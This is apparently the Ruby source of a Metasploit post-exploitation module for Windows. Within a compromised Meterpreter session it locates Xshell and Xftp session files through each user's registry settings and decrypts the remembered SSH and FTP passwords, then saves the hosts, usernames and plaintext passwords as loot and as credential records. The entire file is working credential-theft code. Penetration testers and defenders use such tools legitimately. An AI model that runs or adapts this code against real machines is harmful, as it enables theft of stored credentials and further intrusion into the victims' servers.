modules/post/windows/gather/credentials/xshell_xftp_password.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::Windows::UserProfiles
include Msf::Post::File
include Msf::Post::Windows::Registry
include Msf::Post::Windows::Accounts
include Rex::Parser::NetSarang
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather Xshell and Xftp Passwords',
'Description' => %q{
This module can decrypt the password of xshell and xftp,
if the user chooses to remember the password.
},
'License' => MSF_LICENSE,
'References' => [
[ 'URL', 'https://github.com/HyperSine/how-does-Xmanager-encrypt-password/blob/master/doc/how-does-Xmanager-encrypt-password.md']
],
'Author' => [
'Kali-Team <kali-team[at]qq.com>'
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_fs_search
stdapi_fs_separator
stdapi_fs_stat
]
}
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options(
[
OptString.new('MASTER_PASSWORD', [ false, 'If the user sets the master password, e.g.:123456']),
]
)
end
def try_encode_file(data)
# version 6.0 The character set of the session file will use Unicode
# version <= 5.3 The character set of the session file will use ANSI
if data[0].unpack('C') == [255] && data[1].unpack('C') == [254]
data[2..].force_encoding('UTF-16LE').encode('UTF-8')
elsif data[0].unpack('C') == [254] && data[1].unpack('C') == [187] && data[2].unpack('C') == [191]
data
elsif data[0].unpack('C') == [254] && data[1].unpack('C') == [255]
data[2..].force_encoding('UTF-16BE').encode('UTF-8')
else
data
end
end
def enable_master_passwd?(version_6_path)
file_name = expand_path("#{version_6_path}\\Common\\MasterPassword.mpw")
file_contents = read_file(file_name) if session.fs.file.exist?(file_name)
if file_contents.nil? || file_contents.empty?
return false
end
file = try_encode_file(file_contents)
file.include?('EnblMasterPasswd=1')
end
def net_sarang_store_config(config)
service_data = {
address: config[:host],
port: config[:port],
service_name: config[:type],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :session,
session_id: session_db_id,
post_reference_name: refname,
private_type: :password,
private_data: config[:password],
username: config[:username]
}.merge(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_data)
create_credential_login(login_data)
end
def enum_session_file(path, user_profiles)
xsh_xfp = []
tbl = []
print_status("Search session files on #{path}")
xsh_xfp += session.fs.file.search(path, '*.xsh')
xsh_xfp += session.fs.file.search(path, '*.xfp')
# enum session file
xsh_xfp.each do |item|
file_name = item['path'] + session.fs.file.separator + item['name']
file_contents = read_file(file_name)
if file_contents.nil? || file_contents.empty?
print_status "Skipping empty file: #{file_name}"
next
end
file = try_encode_file(file_contents)
session_type = (File.extname(file_name) == '.xsh') ? 'Xshell' : 'Xftp'
# parser configure file
if session_type == 'Xshell'
version, host, port, username, password = parser_xsh(file)
else
version, host, port, username, password = parser_xfp(file)
end
# decrypt password
if enable_master_passwd?(path)
net_sarang = NetSarangCrypto.new(session_type, version, user_profiles['UserName'], user_profiles['SID'], datastore['MASTER_PASSWORD'])
else
net_sarang = NetSarangCrypto.new(session_type, version, user_profiles['UserName'], user_profiles['SID'])
end
plaintext = net_sarang.decrypt_string(password) if password
print_error('Invalid MASTER_PASSWORD, Decryption failed!') if !plaintext && password
tbl << {
version: "#{session_type}_V" + version.to_s,
file_name: item['name'],
host: host,
port: port,
username: username,
plaintext: plaintext,
password: password
}
end
return tbl
end
def run
print_status("Gather Xshell and Xftp Passwords on #{sysinfo['Computer']}")
profiles = grab_user_profiles
result = []
profiles.each do |user_profiles|
next if user_profiles['SID'].nil?
parent_key_6 = "HKEY_USERS\\#{user_profiles['SID']}\\Software\\NetSarang\\Common\\6\\UserData"
parent_key_5 = "HKEY_USERS\\#{user_profiles['SID']}\\Software\\NetSarang\\Common\\5\\UserData"
# get session file path
net_sarang_path_6 = expand_path(registry_getvaldata(parent_key_6, 'UserDataPath'))
net_sarang_path_5 = expand_path(registry_getvaldata(parent_key_5, 'UserDataPath'))
# enum session file
result += enum_session_file(net_sarang_path_5, user_profiles) if session.fs.file.exist?(net_sarang_path_5)
result += enum_session_file(net_sarang_path_6, user_profiles) if session.fs.file.exist?(net_sarang_path_6)
end
columns = [
'Type',
'Name',
'Host',
'Port',
'UserName',
'Plaintext',
'Password'
]
tbl = Rex::Text::Table.new(
'Header' => 'Xshell and Xftp Password',
'Columns' => columns
)
result.each do |item|
tbl << item.values
config = {
type: item[:version].starts_with?('Xshell') ? 'ssh' : 'ftp',
host: item[:host],
port: item[:port].to_i,
username: item[:username],
password: item[:plaintext]
}
net_sarang_store_config(config)
end
print_line(tbl.to_s)
# Only save data to disk when there's something in the table
if tbl.rows.count
path = store_loot('host.xshell_xftp_password', 'text/plain', session, tbl, 'xshell_xftp_password.txt', 'Xshell Xftp Passwords')
print_good("Passwords stored in: #{path}")
end
end
end